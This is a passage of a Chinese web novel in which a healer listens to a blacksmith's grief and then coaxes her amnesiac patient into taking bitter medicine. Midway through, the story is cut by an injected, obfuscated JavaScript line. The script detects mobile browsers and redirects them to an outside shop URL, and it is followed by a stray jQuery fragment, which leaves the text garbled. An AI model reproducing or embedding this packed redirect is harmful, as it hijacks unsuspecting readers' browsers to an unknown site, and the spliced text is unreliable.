他把那张纸抽出来，小心翼翼，像捧着一件易碎的瓷器一样。
“这是我闺女的字。”他低着头，拇指在纸边轻轻摩挲，“六岁那年写的父字，教了半个月，写得还是歪歪扭扭的。”
白兰若接过那张纸。
纸上只有三个字，歪七扭八，墨迹深浅不一。
“父母安。”
她轻声念出来。
赵铁匠没有应声。
半晌，他才闷闷地开口，声音像从胸腔深处挤出来一样，“白大夫，其实她没有对我不好，她跟了我二十年。”
“刚嫁给我那会儿，她才十七岁，我爹刚死，欠下一屁股买药钱，铺子是空的，家里的米缸也是空的。”
“那年冬天，她把陪嫁的银镯子当了，换了一袋苞谷面，那镯子是她娘留给她的，就这一件像样的东西。”
赵铁匠抬起那只没受伤的手，比划了一下。
“细得像根麻绳，也值不了几个钱，当了也不够还债的。”
“后来，我起早贪黑打铁，她给人洗衣裳，缝补，纳鞋底。手指头被冻得像根胡萝卜，裂了口子，连针都拿不稳。”
他忽然笑了一下，那笑里没有欢喜，只有沉沉的无奈。
“我跟她说，等我攒够了钱，给她打一副新的，金的，比原先那对粗三圈。”
“她说好。”
炉火噼啪作响。
“二十年了，”他说，“金的没打上。”
白兰若低头，看着纸上那个东歪西倒的母字。
“那孩子……”
“十岁没了，因为风寒。”赵铁匠的声音很平，平得像在说别人的事，“那阵子我活多，日夜在铺子里赶工，她一个人带着孩子，又要照顾生病的老人，等我回去的时候，烧了三日，人都糊涂了。”
“大夫说，要是早两日送来……”
他没说完。
白兰若忽然明白了。
赵铁匠的夫人不是泼妇，她是怕了。
怕丈夫也像自己的孩子一样，在她没留神的时候，悄无声息地没了。
“她不知道你把这张纸留着？”
赵铁匠摇头。
“……收了几十年，她不知道。”
他把纸重新放回去。
“白大夫，你说，我这辈子，是不是挺对不住她的？”赵铁匠背对着她，肩膀微微向下塌。
白兰若没有回答。
凡人的感情真复杂，她不明白既然相爱，为什么还要口是心非？
她背起药篓，走到门口。
暮色已经沉了下来，巷口的槐树在风里沙沙作响。
她收回思绪，回了竹舍。
屋里没有点灯，只有窗纸透进来一点微弱的光，照见那人靠坐在墙边，姿态别扭，像是一直在等。
听见门响，他抬起头。
“你回来了。”
语气平平，像是在说“天黑了”，又像是在说“你终于回来了”。
白兰若放下药篓，摸出火折子点上油灯，屋里亮起来，她才看清楚李莲生的脸，还是苍白，但脸色比早上好些。
“药喝了没有？”她随口一问，往灶台那边走。
身后沉默一瞬。
“……没有。”
白兰若脚步一顿，回头看他，“为什么？”
那人垂下眼，语气有些理直气壮，“你不在。”
白兰若以为自己听错了。
“我不在，所以你就不喝药？”她走回塌边，低头看着这位病人，“药就在灶台上，碗也在旁边，你只要伸手就能喝。”
李莲生抬眼，对上她的视线。
“苦。”
白兰若一愣，“你都没喝，怎么知道药苦？”
李莲生面不改色地说，“闻着苦。”
白兰若被这话堵得一时语塞。
她行医两百年，救的人没有一千也有八百，只见过李莲生一个，因为药闻着苦，理直气壮把药晾在那里一整天。
更可气的是，他说话时那副神态，眼睫微垂，神态自若，仿佛药闻着苦就不喝是天地间再正常不过的道理，不值得大惊小怪。
“行，那我问你，你身上的伤疼不疼？”
李莲生想了想，点头，“疼。”
“那伤会好吗？”
“……会吧。”语气里带了一丝不确定。
“怎么好？”
他低头看了看自己裹着布条的伤处，又抬头看她，表情无辜又茫然。
“药能让你好得快些。”白兰若尽量让自己的声音听起来平和，“你不喝药，伤就好得慢，好得慢就得在我这多住几日。”
她顿了顿，忽然想到什么，“还是说，你想在我这多住几日？”
李莲花没想到她会这么问，摇了摇头，认真地说，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516974|203221||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“没有。”
可他又想，他现在没了以前的记忆，就算伤好了，也是无处可去，还是得在这住着才有个安身之所。
他张了张嘴，没等说什么，就见白兰若已经向灶台走去。
片刻后，她端着药碗回来，往他手里一塞。
“喝。”
一个字，干脆利落。
李莲生低头看着碗里黑乎乎的药汁，那味道直往鼻子里钻，又皱起眉头看了看白兰若。
白兰若站在塌边，抱着胳膊看他，完全没有要离开的意思。
她炖了这么长时间，他不趁热喝就算了，反正不能浪费她的心血。
李莲生认命地端起碗，屏住呼吸，一口气灌下去。
入口的那一瞬间，他的脸皱成一团，苦，太苦了，苦得他舌尖发麻。
他放下碗，咳嗽了两声，眼眶都泛起了水光。
白兰若看他这副模样，忽然有些想笑。
明明看着岁数不小，怎么喝药还像个小孩一样？
“行了，喝了就好。”她伸手去接碗。
李莲生没立刻给她，而是抬起头，眼巴巴地望着她，问了一句，“有甜的吗？”
白兰若一愣。
病人问大夫要甜的吗？
寻常百姓喝药，再苦也是一口闷下去，顶多皱皱眉，说声“劳烦大夫了”。
大概他以前真的是养尊处优的富家公子，但现在他落难了。
她想说自己这里没有糖，可话到嘴边，对上那双因为苦而泛起水光的眼睛，又咽了回去。
“你等等。”
白兰若去药篓翻了翻，从最底下摸出一个小小的油纸包。
打开来，里面是两枚拇指大小的蜜饯，是前些日子一位看牙疼的老妇人硬塞给她的。
她不爱吃这些甜腻腻的东西，随手扔在药篓里，早忘记了。
“只有这个。”
等她递过去，李莲生眼神亮了亮，吃了一颗。
他一脸满足，眉眼都舒展了，活像只偷到鱼的猫。
白兰若收了碗。
身后传来一道含糊不清的声音，“谢谢。”
李莲生吃完蜜饯后，又安静地看白兰若收拾药材。
她低着头，侧脸被烛光映得柔和，手指捻动药材时，动作很轻却十分专注。
他看了一会儿，忽然开口，“我是不是……欠你钱？”